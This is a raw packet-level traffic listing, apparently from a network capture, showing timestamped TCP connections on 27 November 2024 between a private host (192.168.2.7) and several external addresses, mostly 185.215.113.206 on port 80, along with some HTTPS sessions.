Nov 27, 2024 17:58:57.560766935 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.560769081 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.560806990 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.561769962 CET	49889	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:57.561774969 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.561785936 CET	443	49889	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:57.561825991 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.561836004 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.561866045 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.562364101 CET	49889	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:57.562369108 CET	443	49889	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:57.562472105 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.562484980 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.562510967 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.562546015 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.563261032 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.563302994 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.563338995 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.563338995 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.564085960 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.564152002 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.564198017 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.564234018 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.565032959 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.565068007 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.565089941 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.565118074 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.565788031 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.566051960 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.566103935 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.566521883 CET	443	49877	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:57.566539049 CET	443	49877	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:57.566622019 CET	49877	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:57.566628933 CET	443	49877	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:57.566642046 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.566685915 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.566750050 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.566790104 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.566900969 CET	443	49877	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:57.566956043 CET	49877	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:57.567480087 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.567528009 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.567598104 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.567641020 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.568424940 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.568474054 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.568538904 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.568583012 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.571969032 CET	49877	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:57.571980000 CET	443	49877	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:57.632345915 CET	443	49888	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:57.632930994 CET	49888	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:57.632946968 CET	443	49888	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:57.633455038 CET	49888	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:57.633469105 CET	443	49888	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:57.638078928 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.638104916 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.638148069 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.638169050 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.638430119 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.638489008 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.638535976 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.638580084 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.639357090 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.639455080 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.639513016 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.639554977 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.640156984 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.640208960 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.640213013 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.640258074 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.641012907 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.641072989 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.641098022 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.641136885 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.641819000 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.641880989 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.641946077 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.641984940 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.642695904 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.642761946 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.642788887 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.642831087 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.643497944 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.643579960 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.643632889 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.643748999 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.644329071 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.644392014 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.644440889 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.644742966 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.645232916 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.645317078 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.645334005 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.645378113 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.646083117 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.646136999 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.646249056 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.646356106 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.646984100 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.647028923 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.647057056 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.647097111 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.648283005 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.648355007 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.648375988 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.648416042 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.649389029 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.649468899 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.649530888 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.649633884 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.650342941 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.650386095 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.650413990 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.650451899 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.651113987 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.651160955 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.651182890 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.651223898 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.651722908 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.651766062 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.652543068 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.652581930 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.653225899 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.653290987 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.653911114 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.653970003 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.654469967 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.662780046 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.662842035 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.662853956 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.662873983 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.662897110 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.662955999 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.662995100 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.663353920 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.663506985 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.663562059 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.664192915 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.664241076 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.664264917 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.664303064 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.665054083 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.665124893 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.665147066 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.665188074 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.665893078 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.665932894 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.666119099 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.666161060 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.666800976 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.666960955 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.667013884 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.667588949 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.667644024 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.667715073 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.667824984 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.668416023 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.668473005 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.668488979 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.668577909 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.669258118 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.669317007 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.669348955 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.669431925 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.670105934 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.670191050 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.670336008 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.670409918 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.670950890 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.670989990 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.671031952 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.671801090 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.671847105 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.671894073 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.671928883 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.672631025 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.672715902 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.672770977 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.673485994 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.673657894 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.673666954 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.673703909 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.686115026 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.686183929 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.686279058 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.686290979 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.686317921 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.686330080 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.721075058 CET	443	49892	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.721106052 CET	443	49892	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.721115112 CET	443	49892	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.721143961 CET	443	49892	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.721155882 CET	443	49892	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.721167088 CET	443	49892	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.721170902 CET	49892	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.721198082 CET	443	49892	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.721210003 CET	49892	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.721236944 CET	49892	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.765459061 CET	443	49890	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.765665054 CET	443	49890	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.765786886 CET	49890	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.766357899 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.766405106 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.766468048 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.766510963 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.766979933 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.767024994 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.767225027 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.767277956 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.767462969 CET	49890	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.767492056 CET	443	49890	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.767577887 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.767631054 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.767734051 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.767817974 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.768683910 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.768727064 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.768825054 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.768870115 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.769361973 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.769408941 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.769417048 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.769457102 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.770217896 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.770241976 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.770276070 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.770313025 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.771169901 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.771186113 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.771213055 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.771229982 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.771687031 CET	443	49892	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.771711111 CET	443	49892	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.771773100 CET	49892	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.771795034 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.771799088 CET	443	49892	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.771811962 CET	49892	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.771837950 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.771842003 CET	49892	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.771903038 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.771945953 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.772644043 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.772701979 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.772761106 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.772835016 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.773569107 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.773605108 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.773647070 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.773689032 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.774523973 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.774574041 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.774672031 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.774713039 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.775218964 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.775301933 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.775335073 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.775372982 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.776021957 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.776081085 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.776125908 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.776165009 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.776866913 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.776913881 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.776937962 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.776978016 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.777750015 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.777796030 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.777852058 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.777890921 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.778585911 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.778641939 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.778702021 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.778742075 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.779401064 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.779463053 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.779476881 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.779522896 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.780251980 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.780301094 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.780354977 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.780401945 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.781074047 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.781147957 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.781152964 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.781196117 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.781939983 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.781985044 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.782084942 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.782126904 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.782773018 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.782820940 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.782963037 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.783020973 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.783607960 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.783679008 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.783760071 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.783838987 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.784506083 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.784567118 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.784672976 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.784781933 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.785291910 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.785357952 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.785413027 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.785455942 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.786120892 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.786158085 CET	443	49892	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:57.786196947 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.786225080 CET	49892	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:57.786346912 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.786405087 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.787029028 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.787096024 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.787111998 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.787159920 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.787895918 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.787945986 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.788032055 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.788074017 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.788650990 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.788702011 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.788778067 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.788831949 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.789529085 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.789627075 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.789678097 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.790431976 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.790478945 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.790486097 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.790519953 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.791280985 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.791347027 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.791536093 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.791594982 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.792180061 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.792232990 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.792335987 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:57.792460918 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:57.792917967 CET	80	49850	185.215.113.206	192.168.2.7
